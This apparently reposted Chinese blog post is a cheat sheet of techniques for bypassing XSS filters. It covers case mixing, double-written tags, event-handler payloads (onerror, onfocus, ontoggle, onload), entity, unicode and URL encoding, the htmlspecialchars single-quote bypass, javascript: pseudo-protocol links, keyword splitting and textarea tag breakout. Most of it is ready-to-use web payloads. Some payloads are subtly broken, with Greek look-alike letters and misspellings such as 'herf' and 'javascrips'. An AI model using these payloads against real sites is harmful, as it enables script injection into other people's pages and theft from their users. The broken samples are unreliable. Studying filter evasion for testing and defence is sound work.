xss绕过

这篇具有很好参考价值的文章主要介绍了xss绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

 1、大小写绕过

HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt> 

2、空格回车TAB

例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');

3、双写绕过

有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>

4、事件绕过

就是加入一些事件  此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick

事件    描述
onclick    在用户使用鼠标左键点击对象时触发
ondblclick    用户双击对象时触发
onmousedown    用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover    用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout    用户将鼠标移出对象边界时触发
onmousemove    用户将鼠标划过对象时触发
onmouseup    用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel    鼠标滚轮按钮旋转时触发
onpaste    用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange    在对象上发生对象属性更改时触发
onkeydown    用户按下键盘按键时触发
onerror    装载文档或图像的过程中发生错误时触发
onload    加载完毕自动触发

非黑名单标签和事件
<img> 
payload:<img src=1 οnerrοr=alert("xss");>


<input>
payload: <input οnfοcus="alert('xss');"> 
         <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
         <input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件


<details>
payload: <details οntοggle="alert('xss');">
         <details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件 

    <svg>
    payload: <svg οnlοad=alert("xss");>


    <iframe>
    payload: <iframe οnlοad=alert("xss");></iframe>

<body>
payload: <body/οnlοad=alert("xss");>
 

5、编码绕过 

  js编码、base64编码、url编码、html编码

   思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例1:一次编码案例

#使用事件属性onerror()的原始payload: 
<img src=# onerror=alert"('yangshuang')"/>

#使用HTML_ENTITY编码后的payload:
<a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

例2:多次编码案例解析如下编码

#原始payload

<a herf="javascrips:alert(XSS)">  </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)">  </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)">  </a>
#最后用html实体编码,再编码整个payload
太长了,略

6)htmlspecialchars()函数绕过:

#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:      
& (和号)   成为 &amp         
" (双引号) 成为 &quot           
’ (单引号) 成为 &#039                     
< (小于)   成为 &lt                    
> (大于)   成为 &gt

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

# 默认配置下,可使用以下语句绕过:  
q' onclick='alert(111)'

6、伪协议

实战日管理员难顶,但是你提交src的话 还是会收的

他过滤了on函数这些 肯定用不了 但是可以用伪协议

<a href="javascript:alert(1)">1</a>

<iframe src="javascript:alert(1)">

<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>文章来源地址https://www.toymoban.com/news/detail-571768.html

7、拆分关键字

window["al" + "ert"]

8、<textarea>标签绕过 后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内 那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

                                     

到了这里,关于xss绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 常见的前端安全CSRF/XSS以及常规安全策略

    1、CSRF:跨站请求伪造(Cross-site request forgery); 原理: (1)用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; (2)在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A; (3)用户未退出

    2024年02月04日
    浏览(34)
  • 前端安全系列(一):如何防止XSS攻击?

    随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在

    2024年02月02日
    浏览(59)
  • 前端安全:CSRF、XSS该怎么防御?

    近几年随着业务的不断发展,前端随之面临很多安全挑战。我们在日常开发中也需要不断预防和修复安全漏洞。接下来,梳理一些场景的前端安全问题和对应的解决方案。 XSS是后端的责任,后端应该在用户提交数据的接口对隐私敏感的数据进行转义。 NO,这种说法不对 所有

    2024年02月02日
    浏览(37)
  • 面试:前端安全之XSS及CSRF

    XSS攻击全称跨站脚本攻击(Cross Site Scripting); CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF;是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户

    2024年02月16日
    浏览(42)
  • 前端面试:【XSS、CSRF、CSP】Web安全的三大挑战

    嗨,亲爱的Web开发者!在构建现代Web应用时,确保应用的安全性至关重要。本文将深入探讨三个常见的Web安全威胁:XSS(跨站脚本攻击)、CSRF(跨站请求伪造攻击)和CSP(内容安全策略),以帮助你了解并应对这些威胁。 1. XSS(跨站脚本攻击): XSS是一种攻击方式,攻击者

    2024年02月11日
    浏览(35)
  • 【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

    常见概念 POC:全称 ’ Proof of Concept \\\',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。 EXP:全称 ’ Exploit \\\',中文 ’ 利用 \\\',指利用系统漏洞进行攻击的动作。 Payload:中文 ’ 有效载荷 \\\',指成功exploit之后,真正在目标系统执行的代码或指令。 Shellcode:简单翻译 ’ she

    2024年02月05日
    浏览(43)
  • [xss-3]httponly绕过

    HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话) 下面的例子展示了如何设置Set-Cookie 返回头的语法 Set-Cookie: =[; =]

    2024年02月11日
    浏览(25)
  • xss绕过

     1、大小写绕过 HTML对标签大小写不敏感,可以利用大小写混用绕过 例如: script改为ScRiPt   2、空格回车TAB 例如:js伪协议 javascript:alert(\\\'xss\\\');可以改为java script:alert(\\\'xss\\\'); 等 3、双写绕过 有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签 例如: script改为s

    2024年02月16日
    浏览(30)
  • 【BugBounty】记一次XSS绕过

    最近一直在看国外的赏金平台,绕waf是真的难受, 记录一下绕过的场景。 一开始尝试XSS,发现用户的输入在title中展示,那么一般来说就是看能否闭合,我们从下面图中可以看到,输入尖括号后被转成了实体。 解释一下什么是html实体编码 HTML实体编码,也即HTML中的转义字符。

    2024年02月08日
    浏览(27)
  • XSS 攻击时怎么绕过 htmlspecialchars 函数

    htmlspecialchars xss攻击很多场景下htmlspecialchars过滤未必能奏效。 1.形成反射xss htmlspecialchars默认是不过滤单引号的,只有设置了:quotestyle选项为ENT_QUOTES才会过滤单引号,如果此时你得输出为 那么仍然会绕过htmlspecialchars()函数的检查,从而造成一个反射型的xss 2. 仅仅用了htmlsp

    2023年04月08日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包